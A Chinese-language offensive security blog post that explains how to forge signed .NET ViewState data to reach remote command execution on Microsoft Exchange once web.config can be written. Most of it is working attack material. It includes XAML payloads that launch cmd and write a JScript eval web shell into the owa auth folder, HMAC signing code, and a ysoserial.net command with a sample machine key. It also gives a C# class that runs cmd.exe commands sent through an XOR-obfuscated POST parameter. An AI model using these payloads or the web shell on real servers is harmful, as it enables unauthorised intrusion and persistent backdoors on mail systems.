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DotNet反序列化——生成ViewState的程序实现

0x00 前言


在上篇文章《渗透技巧——从Exchange文件读写权限到命令执行》介绍了通过.Net反序列化ViewState从Exchange文件读写权限到命令执行的方法,分享了三种利用脚本的开发细节,本文将要具体分析生成ViewState的细节,介绍另外一种实现从Exchange文件读写权限到命令执行的脚本开发细节

参考资料:

http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html https://github.com/pwntester/ysoserial.net

0x01 简介


本文将要介绍以下内容:

  • 两种生成ViewState的实现方法
  • 另外一种利用脚本开发的细节
  • 开源代码

0x02 背景知识


1.DotNet反序列化ViewState的实现原理

如果能够读取web.config的文件内容,获得其中的加密密钥和算法,就能够构造出有效的序列化数据。如果将序列化数据设置成恶意委托,那么在ViewState使用ObjectStateFormatter进行反序列化调用委托时,就能实现远程代码执行。

2.ViewState的生成流程

使用validationkey和generator作为参数,对序列化xaml数据进行签名,并放在序列化xaml数据后,作Base64编码后组成最终的ViewStaten内容

直观理解:

data = Serialize(xaml)
ViewState = data + (data+generator).ComputeHash(validationKey)
ViewState = Base64(ViewState)

加密细节可参考:

https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L255

https://github.com/0xacb/viewgen/blob/master/viewgen#L156

具体细节可使用dnSpy反编译System.Web.dll,找到System.Web.Configuration.MachineKeySection的GetEncodedData函数

0x03 两种生成ViewState的实现方法


测试环境:

获得了Exchange文件读写权限,能够修改%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config,设置machineKey的内容如下:

<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />

对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据

下面介绍两种生成ViewState的程序实现方法

1.从xaml数据生成ViewState

流程如下:

  1. 构造xaml数据
  2. 生成序列化xaml数据
  3. 生成签名数据
  4. 拼接序列化xaml数据和签名数据后作Base64编码

(1)构造xaml数据

这里介绍4种,分别对应4个功能

执行命令:

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
  xmlns:System="clr-namespace:System;assembly=mscorlib" 
    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
     <ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
     <ObjectDataProvider.MethodParameters>
        <System:String>cmd</System:String>
        <System:String>"/c notepad"</System:String>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

写文件:

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:s="clr-namespace:System;assembly=mscorlib"
    xmlns:w="clr-namespace:System.Web;assembly=System.Web">
  <s:String x:Key="a" x:FactoryMethod="s:Environment.GetEnvironmentVariable" x:Arguments="ExchangeInstallPath"/>
  <s:String x:Key="b" x:FactoryMethod="Concat">
    <x:Arguments>
      <StaticResource ResourceKey="a"/>
      <s:String>FrontEnd\\HttpProxy\\owa\\auth\\xaml.aspx</s:String>
    </x:Arguments>
  </s:String>
  <ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="WriteAllText">
    <ObjectDataProvider.MethodParameters>
      <StaticResource ResourceKey="b"/>
      <s:String>&lt;%@ Page Language=&quot;Jscript&quot;%&gt;&lt;%eval(Request.Item[&quot;pass&quot;],&quot;unsafe&quot;);%&gt;
      </s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/>
  <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/>
  <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/>
</ResourceDictionary>

注:

需要注意xaml的转义字符

设置Header:

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:s="clr-namespace:System;assembly=mscorlib" 
    xmlns:w="clr-namespace:System.Web;assembly=System.Web">
  <ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""></ObjectDataProvider>
  <ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}" MethodName="get_Response"></ObjectDataProvider>
  <ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="get_Headers"></ObjectDataProvider>
  <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="Add">
    <ObjectDataProvider.MethodParameters>
      <s:String>TEST-HEADER</s:String>
      <s:String>123456</s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End"></ObjectDataProvider>
</ResourceDictionary>

设置Response:

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:s="clr-namespace:System;assembly=mscorlib" 
    xmlns:w="clr-namespace:System.Web;assembly=System.Web">
  <ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""></ObjectDataProvider>
  <ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}" MethodName="get_Response"></ObjectDataProvider>
  <ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="Write">
      <ObjectDataProvider.MethodParameters>
      <s:String>123456</s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End"></ObjectDataProvider>
</ResourceDictionary>

(2)生成序列化xaml数据

需要用到Microsoft.PowerShell.Editor.dll

(3)生成签名数据

参考代码:

byte[] validationKey= strToToHexByte(key);
uint _clientstateid = 0;
// Converting "generator" from HEX to INT
if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))
		System.Environment.Exit(0);
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
ms = new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(_mackey,0,_mackey.Length);
byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());

注:

代码修改自https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs#L253

(4)拼接序列化xaml数据和签名数据后作Base64编码

调用Convert.ToBase64String()即可

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/XamlToViewState.cs

代码能够读取xaml文件,使用validationkey和generator计算签名,生成最终的ViewState

优点:

流程清晰,便于调试和修改细节

缺点:

需要依赖中间文件Microsoft.PowerShell.Editor.dll,占用空间

注:

该方法的完整利用文件已打包上传至github,地址如下:

https://github.com/3gstudent/test/blob/master/XamlToViewState.zip

2.从序列化xaml数据生成ViewState

借助ysoserial.net跳过从xaml数据到序列化xaml数据的环节,提高开发效率

流程如下:

(1)修改ysoserial.net源码,直接读取可用的序列化xaml数据

在https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L209添加如下代码:

Console.WriteLine(payloadString);
Console.WriteLine("The content above is what we need");
Console.WriteLine("-----------");

能够在控制台输出Base64编码的序列化xaml数据

编译ysoserial.net,生成ysoserial.exe,在同级目录新建shellPayload.cs,内容如下:

class E
{
    static string xor(string s) {
        char[] a = s.ToCharArray();
        for(int i = 0; i < a.Length; i++)
        a[i] = (char)(a[i] ^ 'x');
        return new string(a);
}
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["__Value"];
            cmd = xor(cmd);        
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();            
            output = xor(output);
            context.Response.Write(output);

        } catch (System.Exception) { }
        context.Response.Flush();
        context.Response.End();
    }
}

使用ysoserial.exe生成ViewState,命令如下:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "shellPayload.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"

从输出中获得Base64编码的序列化xaml数据

(2)计算序列化xaml数据的签名,生成最终的ViewState数据

代码如下:

static string CreateViewState(byte[] dat,string generator,string key)
{
    MemoryStream ms = new MemoryStream();
    byte[] validationKey= strToHexByte(key);

    uint _clientstateid = 0;
    if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))
    {
        System.Environment.Exit(0);
    }
 
    byte[] _mackey = new byte[4];
    _mackey[0] = (byte)_clientstateid;
    _mackey[1] = (byte)(_clientstateid >> 8);
    _mackey[2] = (byte)(_clientstateid >> 16);
    _mackey[3] = (byte)(_clientstateid >> 24);

    ms = new MemoryStream();
    ms.Write(dat,0,dat.Length);
    ms.Write(_mackey,0,_mackey.Length);
    byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());
    ms=new MemoryStream();
    ms.Write(dat,0,dat.Length);
    ms.Write(hash,0,hash.Length);
    return Convert.ToBase64String(ms.ToArray());
}

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SerializeXamlToViewState.cs

代码实现了从序列化xaml数据计算签名,生成最终的ViewState数据

优点:

占用空间更小,可以直接使用ysoserial.net已有的Payload

缺点:

调试和修改比较麻烦

注:

以上两种实现方法的CreateViewState()函数在细节上存在区别,需要注意

0x04 另外一种利用脚本开发的细节


用来实现从Exchange文件读写权限到命令执行

参照 https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs 的结构,将序列化xaml数据封装在数组中,使用validationkey和generator作为参数,对序列化xaml数据进行签名,组成最终的ViewState内容

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.cs

代码支持两个位置的反序列化执行,分别为默认存在的文件%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx

代码首先发送ysoserial.net实现ActivitySurrogateDisableTypeCheck的数据,接着能够执行命令并获得命令执行的结果,通过POST方式以参数__Value发送数据,通信数据采用逐字符异或加密

支持的功能同ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py保持一致

0x05 小结


本文分析了生成ViewState的细节,介绍了两种生成ViewState的程序实现方法,编写代码实现了另外一种从Exchange文件读写权限到命令执行的利用脚本


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